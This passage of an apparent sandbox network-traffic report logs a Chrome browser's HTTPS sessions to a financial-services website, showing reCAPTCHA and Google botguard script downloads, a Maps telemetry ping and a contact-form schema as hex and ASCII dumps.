https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF&co=aHR0cHM6Ly93d3cuYmZqZmluYW5jaWFsLmNvbTo0NDM.&hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&size=normal&cb=r0v4am1gzsga Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:01 UTC	655	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Expires: Thu, 11 Apr 2024 20:35:01 GMT Date: Thu, 11 Apr 2024 20:35:01 GMT Cache-Control: private, max-age=300 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-11 20:35:01 UTC	108	IN	Data Raw: 36 36 0d 0a 69 6d 70 6f 72 74 53 63 72 69 70 74 73 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 72 7a 34 44 76 55 2d 63 59 32 4a 59 43 77 48 53 54 63 6b 30 5f 71 6d 2d 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 29 3b 0d 0a Data Ascii: 66importScripts('https://www.gstatic.com/recaptcha/releases/rz4DvU-cY2JYCwHSTck0_qm-/recaptcha__en.js');
2024-04-11 20:35:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49833	142.251.35.164	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:01 UTC	840	OUT	GET /js/bg/4_tvJcNRhO0dCFNnXb1MYdI8S2d7uj-RMeEMLJbHBoY.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF&co=aHR0cHM6Ly93d3cuYmZqZmluYW5jaWFsLmNvbTo0NDM.&hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&size=normal&cb=r0v4am1gzsga Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:01 UTC	811	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/botguard-scs Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="botguard-scs" Report-To: {"group":"botguard-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/botguard-scs"}]} Content-Length: 18110 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 11 Apr 2024 10:53:14 GMT Expires: Fri, 11 Apr 2025 10:53:14 GMT Cache-Control: public, max-age=31536000 Age: 34907 Last-Modified: Mon, 25 Mar 2024 12:30:00 GMT Content-Type: text/javascript Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 20:35:01 UTC	444	IN	Data Raw: 2f 2a 20 41 6e 74 69 2d 73 70 61 6d 2e 20 57 61 6e 74 20 74 6f 20 73 61 79 20 68 65 6c 6c 6f 3f 20 43 6f 6e 74 61 63 74 20 28 62 61 73 65 36 34 29 20 59 6d 39 30 5a 33 56 68 63 6d 51 74 59 32 39 75 64 47 46 6a 64 45 42 6e 62 32 39 6e 62 47 55 75 59 32 39 74 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 79 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 7d 2c 61 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 4d 29 7b 69 66 28 28 65 3d 28 4d 3d 61 2e 74 72 75 73 74 65 64 54 79 70 65 73 2c 6e 75 6c 6c 29 2c 21 4d 29 7c 7c 21 4d 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 29 72 65 74 75 72 6e 20 65 3b 74 72 79 7b 65 3d 4d 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d Data Ascii: /* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t */ (function(){var y=function(e){return e},a=this\|\|self,b=function(e,M){if((e=(M=a.trustedTypes,null),!M)\|\|!M.createPolicy)return e;try{e=M.createPolicy("bg",{createHTM
2024-04-11 20:35:01 UTC	1255	IN	Data Raw: 65 61 74 65 53 63 72 69 70 74 28 41 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 41 29 7b 72 65 74 75 72 6e 22 22 2b 41 7d 7d 28 61 29 28 41 72 72 61 79 28 37 38 32 34 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7c 30 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 2b 5b 27 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 27 2c 0a 27 27 2c 0a 27 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 27 2c 0a 27 2a 2f 27 2c 0a 27 76 61 72 20 4d 4d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 4d 2c 41 2c 61 2c 71 29 7b 66 75 6e 63 74 69 6f 6e 20 51 28 29 7b 7d 72 65 74 75 72 6e 20 61 3d 28 41 3d 28 65 3d 65 50 28 65 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 51 26 26 28 4d 26 26 52 28 4d 29 2c 71 3d 6e 2c 51 28 29 2c 51 3d 76 6f 69 64 20 30 29 7d Data Ascii: eateScript(A)}:function(A){return""+A}}(a)(Array(7824Math.random()\|0).join("\n")+['(function(){/','',' SPDX-License-Identifier: Apache-2.0','*/','var MM=function(e,M,A,a,q){function Q(){}return a=(A=(e=eP(e,function(n){Q&&(M&&R(M),q=n,Q(),Q=void 0)}
2024-04-11 20:35:01 UTC	1255	IN	Data Raw: 29 72 65 74 75 72 6e 20 65 3b 74 72 79 7b 65 3d 4d 2e 63 72 65 61 74 65 50 6f 6c 69 63 79 28 22 62 67 22 2c 7b 63 72 65 61 74 65 48 54 4d 4c 3a 62 4c 2c 63 72 65 61 74 65 53 63 72 69 70 74 3a 62 4c 2c 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 3a 62 4c 7d 29 7d 63 61 74 63 68 28 41 29 7b 7a 2e 63 6f 6e 73 6f 6c 65 26 26 7a 2e 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 41 2e 6d 65 73 73 61 67 65 29 7d 72 65 74 75 72 6e 20 65 7d 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 4d 2c 41 29 7b 41 5b 56 28 65 2c 4d 2c 41 29 2c 72 30 5d 3d 32 37 39 36 7d 2c 51 68 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 4d 2c 41 2c 61 2c 71 29 7b 66 6f 72 28 61 3d 28 4d 3d 4d 5b 71 3d 4d 5b 32 5d 7c 30 2c 33 5d 7c 30 2c 30 29 3b 31 34 3e 61 3b 61 2b 2b 29 4d 3d 4d 3e 3e 3e 38 7c 4d 3c 3c Data Ascii: )return e;try{e=M.createPolicy("bg",{createHTML:bL,createScript:bL,createScriptURL:bL})}catch(A){z.console&&z.console.error(A.message)}return e},H=function(e,M,A){A[V(e,M,A),r0]=2796},Qh=function(e,M,A,a,q){for(a=(M=M[q=M[2]\|0,3]\|0,0);14>a;a++)M=M>>>8\|M<<
2024-04-11 20:35:01 UTC	1255	IN	Data Raw: 29 7b 6d 28 28 28 28 71 3d 28 71 3d 28 41 3d 65 26 33 2c 65 26 3d 34 2c 54 28 4d 29 29 2c 61 3d 54 28 4d 29 2c 4c 28 4d 2c 71 29 29 2c 65 29 26 26 28 71 3d 59 5a 28 22 22 2b 71 29 29 2c 41 29 26 26 6d 28 4d 2c 61 2c 55 28 71 2e 6c 65 6e 67 74 68 2c 32 29 29 2c 4d 29 2c 61 2c 71 29 7d 2c 59 5a 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 4d 2c 41 2c 61 2c 71 29 7b 66 6f 72 28 41 3d 28 65 3d 65 2e 72 65 70 6c 61 63 65 28 2f 5c 5c 72 5c 5c 6e 2f 67 2c 22 5c 5c 6e 22 29 2c 61 3d 5b 5d 2c 71 3d 30 29 3b 71 3c 65 2e 6c 65 6e 67 74 68 3b 71 2b 2b 29 4d 3d 65 2e 63 68 61 72 43 6f 64 65 41 74 28 71 29 2c 31 32 38 3e 4d 3f 61 5b 41 2b 2b 5d 3d 4d 3a 28 32 30 34 38 3e 4d 3f 61 5b 41 2b 2b 5d 3d 4d 3e 3e 36 7c 31 39 32 3a 28 35 35 32 39 36 3d 3d 28 4d 26 36 34 35 31 32 29 26 Data Ascii: ){m((((q=(q=(A=e&3,e&=4,T(M)),a=T(M),L(M,q)),e)&&(q=YZ(""+q)),A)&&m(M,a,U(q.length,2)),M),a,q)},YZ=function(e,M,A,a,q){for(A=(e=e.replace(/\\r\\n/g,"\\n"),a=[],q=0);q<e.length;q++)M=e.charCodeAt(q),128>M?a[A++]=M:(2048>M?a[A++]=M>>6\|192:(55296==(M&64512)&
2024-04-11 20:35:01 UTC	1255	IN	Data Raw: 7c 30 29 2d 33 29 2c 30 5d 2d 3d 28 4d 2e 6c 65 6e 67 74 68 7c 30 29 2b 33 2c 59 5a 28 4d 29 29 2c 41 3d 65 2e 49 2c 65 2e 49 3d 65 3b 74 72 79 7b 6d 28 65 2c 39 31 2c 5b 39 35 5d 29 2c 6d 28 65 2c 33 37 2c 55 28 4d 2e 6c 65 6e 67 74 68 2c 32 29 2e 63 6f 6e 63 61 74 28 4d 29 2c 39 29 7d 66 69 6e 61 6c 6c 79 7b 65 2e 49 3d 41 7d 7d 7d 2c 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 4d 2c 41 2c 61 2c 71 29 7b 69 66 28 41 3d 4d 5b 30 5d 2c 41 3d 3d 63 30 29 65 2e 5a 62 3d 32 35 2c 65 2e 4a 3d 74 72 75 65 2c 65 2e 68 28 4d 29 3b 65 6c 73 65 20 69 66 28 41 3d 3d 57 29 7b 28 61 3d 4d 5b 31 5d 2c 65 29 2e 4a 3d 74 72 75 65 3b 74 72 79 7b 71 3d 65 2e 41 7c 7c 65 2e 68 28 4d 29 7d 63 61 74 63 68 28 51 29 7b 4e 28 51 2c 65 29 2c 71 3d 65 2e 41 7d 61 28 71 29 7d 65 6c Data Ascii: \|0)-3),0]-=(M.length\|0)+3,YZ(M)),A=e.I,e.I=e;try{m(e,91,[95]),m(e,37,U(M.length,2).concat(M),9)}finally{e.I=A}}},on=function(e,M,A,a,q){if(A=M[0],A==c0)e.Zb=25,e.J=true,e.h(M);else if(A==W){(a=M[1],e).J=true;try{q=e.A\|\|e.h(M)}catch(Q){N(Q,e),q=e.A}a(q)}el
2024-04-11 20:35:01 UTC	1255	IN	Data Raw: 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 33 29 2b 22 5f 22 5d 29 3f 51 28 65 2e 73 75 62 73 74 72 69 6e 67 28 33 29 2c 4d 2c 41 2c 61 2c 71 29 3a 52 6e 28 4d 2c 65 29 7d 2c 46 4e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 4d 29 7b 72 65 74 75 72 6e 20 4d 3d 30 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 3c 65 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 66 61 6c 73 65 2c 76 61 6c 75 65 3a 65 5b 4d 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 74 72 75 65 7d 7d 7d 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 4d 2c 41 2c 61 2c 71 2c 51 2c 6e 2c 79 2c 62 29 7b 69 66 28 28 28 41 2e 53 2b 3d 28 51 3d 28 71 3d 28 6e 3d 28 79 3d 28 4d 7c 7c 41 2e 76 2b 2b 2c 30 3c 41 2e 49 33 26 26 41 2e 4b 26 26 41 2e 4a 69 29 26 26 31 3e 3d 41 2e 58 26 26 21 41 2e 55 26 26 21 41 2e 59 26 Data Ascii: .substring(0,3)+"_"])?Q(e.substring(3),M,A,a,q):Rn(M,e)},FN=function(e,M){return M=0,function(){return M<e.length?{done:false,value:e[M++]}:{done:true}}},u=function(e,M,A,a,q,Q,n,y,b){if(((A.S+=(Q=(q=(n=(y=(M\|\|A.v++,0<A.I3&&A.K&&A.Ji)&&1>=A.X&&!A.U&&!A.Y&
2024-04-11 20:35:01 UTC	1255	IN	Data Raw: 69 66 28 76 6f 69 64 20 30 3d 3d 3d 28 65 3d 65 2e 6a 5b 4d 5d 2c 65 29 29 74 68 72 6f 77 5b 76 2c 33 30 2c 4d 5d 3b 69 66 28 65 2e 76 61 6c 75 65 29 72 65 74 75 72 6e 20 65 2e 63 72 65 61 74 65 28 29 3b 72 65 74 75 72 6e 20 65 2e 63 72 65 61 74 65 28 34 2a 4d 2a 4d 2b 37 32 2a 4d 2b 2d 33 38 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 7d 2c 61 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 4d 2c 41 2c 61 29 7b 66 6f 72 28 3b 65 2e 5a 2e 6c 65 6e 67 74 68 3b 29 7b 65 2e 59 3d 6e 75 6c 6c 2c 41 3d 65 2e 5a 2e 70 6f 70 28 29 3b 74 72 79 7b 61 3d 6f 6e 28 65 2c 41 29 7d 63 61 74 63 68 28 71 29 7b 4e 28 71 2c 65 29 7d 69 66 28 4d 26 26 65 2e 59 29 7b 4d 3d 65 2e 59 2c 4d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 28 65 2c 74 72 75 65 2c 74 72 75 65 29 7d 29 3b 62 72 65 61 6b Data Ascii: if(void 0===(e=e.j[M],e))throw[v,30,M];if(e.value)return e.create();return e.create(4MM+72*M+-38),e.prototype},an=function(e,M,A,a){for(;e.Z.length;){e.Y=null,A=e.Z.pop();try{a=on(e,A)}catch(q){N(q,e)}if(M&&e.Y){M=e.Y,M(function(){g(e,true,true)});break
2024-04-11 20:35:01 UTC	1255	IN	Data Raw: 2e 56 21 3d 51 3e 3e 36 26 26 28 61 2e 56 3d 51 3e 3e 36 2c 71 3d 4c 28 61 2c 31 35 38 29 2c 61 2e 55 69 3d 51 68 28 61 2e 57 2c 5b 30 2c 30 2c 71 5b 31 5d 2c 71 5b 32 5d 5d 2c 61 2e 56 29 29 2c 79 5e 3d 4d 2e 55 69 5b 4f 26 6e 5d 29 2c 59 7c 3d 28 79 3e 3e 38 2d 28 74 7c 30 29 2d 28 72 7c 30 29 26 28 31 3c 3c 72 29 2d 31 29 3c 3c 28 64 7c 30 29 2d 28 72 7c 30 29 2c 64 2d 3d 72 2c 51 2b 3d 72 3b 72 65 74 75 72 6e 20 56 28 4d 2c 37 39 2c 28 41 3d 59 2c 28 62 7c 30 29 2b 28 65 7c 30 29 29 29 2c 41 7d 2c 6d 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 4d 2c 41 2c 61 29 7b 74 72 79 7b 61 3d 65 5b 28 28 4d 7c 30 29 2b 32 29 25 33 5d 2c 65 5b 4d 5d 3d 28 65 5b 4d 5d 7c 30 29 2d 28 65 5b 28 28 4d 7c 30 29 2b 31 29 25 33 5d 7c 30 29 2d 28 61 7c 30 29 5e 28 31 3d 3d 4d Data Ascii: .V!=Q>>6&&(a.V=Q>>6,q=L(a,158),a.Ui=Qh(a.W,[0,0,q[1],q[2]],a.V)),y^=M.Ui[O&n]),Y\|=(y>>8-(t\|0)-(r\|0)&(1<<r)-1)<<(d\|0)-(r\|0),d-=r,Q+=r;return V(M,79,(A=Y,(b\|0)+(e\|0))),A},mD=function(e,M,A,a){try{a=e[((M\|0)+2)%3],e[M]=(e[M]\|0)-(e[((M\|0)+1)%3]\|0)-(a\|0)^(1==M
2024-04-11 20:35:01 UTC	1255	IN	Data Raw: 49 6d 6d 65 64 69 61 74 65 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 65 2c 30 29 7d 2c 7a 57 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 4d 2c 41 2c 61 2c 71 2c 51 2c 6e 29 7b 66 6f 72 28 6e 3d 28 65 2e 59 4c 3d 28 65 2e 67 6e 3d 42 30 28 28 65 2e 6f 33 3d 28 65 2e 77 6e 3d 55 79 2c 65 5b 65 2e 4b 57 3d 4b 5a 2c 57 5d 29 2c 65 29 2e 4e 2c 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6f 6e 63 61 74 28 29 7d 7d 29 2c 4a 5b 65 2e 4e 5d 28 65 2e 67 6e 2c 7b 76 61 6c 75 65 3a 7b 76 61 6c 75 65 3a 7b 7d 7d 7d 29 29 2c 30 29 2c 51 3d 5b 5d 3b 33 36 31 3e 6e 3b 6e 2b 2b 29 51 5b 6e 5d 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 29 3b 67 28 65 2c 74 72 75 65 2c 21 28 Data Ascii: Immediate(e)}:function(e){setTimeout(e,0)},zW=function(e,M,A,a,q,Q,n){for(n=(e.YL=(e.gn=B0((e.o3=(e.wn=Uy,e[e.KW=KZ,W]),e).N,{get:function(){return this.concat()}}),J[e.N](e.gn,{value:{value:{}}})),0),Q=[];361>n;n++)Q[n]=String.fromCharCode(n);g(e,true,!(
2024-04-11 20:35:01 UTC	1255	IN	Data Raw: 39 31 29 2c 5b 5d 29 2c 32 37 31 29 2c 5b 5d 29 2c 56 28 65 2c 33 31 36 2c 30 29 2c 65 29 2c 31 38 34 2c 66 75 6e 63 74 69 6f 6e 28 79 2c 62 2c 72 2c 74 29 7b 56 28 79 2c 28 74 3d 54 28 28 72 3d 54 28 28 62 3d 54 28 79 29 2c 79 29 29 2c 79 29 29 2c 74 29 2c 4c 28 79 2c 62 29 7c 7c 4c 28 79 2c 72 29 29 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 79 2c 62 2c 72 2c 74 2c 4f 29 7b 66 6f 72 28 4f 3d 28 62 3d 28 74 3d 28 72 3d 54 28 79 29 2c 6b 5a 29 28 79 29 2c 5b 5d 29 2c 30 29 3b 4f 3c 74 3b 4f 2b 2b 29 62 2e 70 75 73 68 28 68 28 79 29 29 3b 56 28 79 2c 72 2c 62 29 7d 29 29 2c 65 29 2c 34 39 35 2c 66 75 6e 63 74 69 6f 6e 28 79 2c 62 2c 72 2c 74 2c 4f 2c 59 2c 64 29 7b 69 66 28 21 75 28 62 2c 74 72 75 65 2c 79 2c 74 72 75 65 29 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 Data Ascii: 91),[]),271),[]),V(e,316,0),e),184,function(y,b,r,t){V(y,(t=T((r=T((b=T(y),y)),y)),t),L(y,b)\|\|L(y,r))}),function(y,b,r,t,O){for(O=(b=(t=(r=T(y),kZ)(y),[]),0);O<t;O++)b.push(h(y));V(y,r,b)})),e),495,function(y,b,r,t,O,Y,d){if(!u(b,true,y,true)){if("object"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49837	142.250.65.206	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:01 UTC	826	OUT	GET /maps/gen_204?target=api&ev=api_mapft&cad=host:www.google.com,v:56,fv:3.56.8,r:100,client:google-maps-embed,Lg:1,hybrid:0,src:apiv3,token:7xefnn2dkf,ts:vp7cjc HTTP/1.1 Host: maps.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:01 UTC	424	IN	HTTP/1.1 204 No Content Content-Type: image/gif Date: Thu, 11 Apr 2024 20:35:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: mafe Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Server-Timing: gfet4t7; dur=17 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49838	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:01 UTC	402	OUT	GET /wp-json/contact-form-7/v1/contact-forms/54/feedback/schema HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:02 UTC	916	IN	HTTP/1.1 200 OK Connection: close Content-Length: 305 x-fw-dynamic: TRUE content-type: application/json; charset=UTF-8 link: <https://www.bfjfinancial.com/wp-json/>; rel="https://api.w.org/" x-fw-version: 5.0.0 x-content-type-options: nosniff x-xss-protection: 1 allow: GET x-robots-tag: noindex x-fw-hash: thumialfjs referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 access-control-allow-headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type access-control-expose-headers: X-WP-Total, X-WP-TotalPages, Link Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:02 GMT X-Served-By: cache-lga21955-LGA, cache-lga21976-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867702.686253,VS0,VE322 Vary: Accept-Encoding, Origin X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:02 UTC	305	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 22 43 6f 6e 74 61 63 74 20 46 6f 72 6d 20 37 20 53 57 56 20 53 63 68 65 6d 61 20 32 30 32 32 2d 31 30 22 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 5f 55 53 22 2c 22 72 75 6c 65 73 22 3a 5b 7b 22 72 75 6c 65 22 3a 22 72 65 71 75 69 72 65 64 22 2c 22 66 69 65 6c 64 22 3a 22 74 65 78 74 2d 32 35 32 22 2c 22 65 72 72 6f 72 22 3a 22 54 68 65 20 66 69 65 6c 64 20 69 73 20 72 65 71 75 69 72 65 64 2e 22 7d 2c 7b 22 72 75 6c 65 22 3a 22 72 65 71 75 69 72 65 64 22 2c 22 66 69 65 6c 64 22 3a 22 65 6d 61 69 6c 2d 38 38 36 22 2c 22 65 72 72 6f 72 22 3a 22 54 68 65 20 66 69 65 6c 64 20 69 73 20 72 65 71 75 69 72 65 64 2e 22 7d 2c 7b 22 72 75 6c 65 22 3a 22 65 6d 61 69 6c 22 2c 22 66 69 65 6c 64 22 3a 22 65 6d 61 69 6c 2d 38 38 36 22 2c 22 Data Ascii: {"version":"Contact Form 7 SWV Schema 2022-10","locale":"en_US","rules":[{"rule":"required","field":"text-252","error":"The field is required."},{"rule":"required","field":"email-886","error":"The field is required."},{"rule":"email","field":"email-886","

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49839	142.251.35.164	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:04 UTC	875	OUT	GET /recaptcha/api2/bframe?hl=en&v=rz4DvU-cY2JYCwHSTck0_qm-&k=6LdCSrIgAAAAAIbQ1liS2K3JDY3AP8FqbPgZMnBF HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.bfjfinancial.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:04 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 11 Apr 2024 20:35:04 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-XLHLJm-fiXzjiruEilHhAA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-11 20:35:04 UTC	364	IN	Data Raw: 31 64 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d14<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
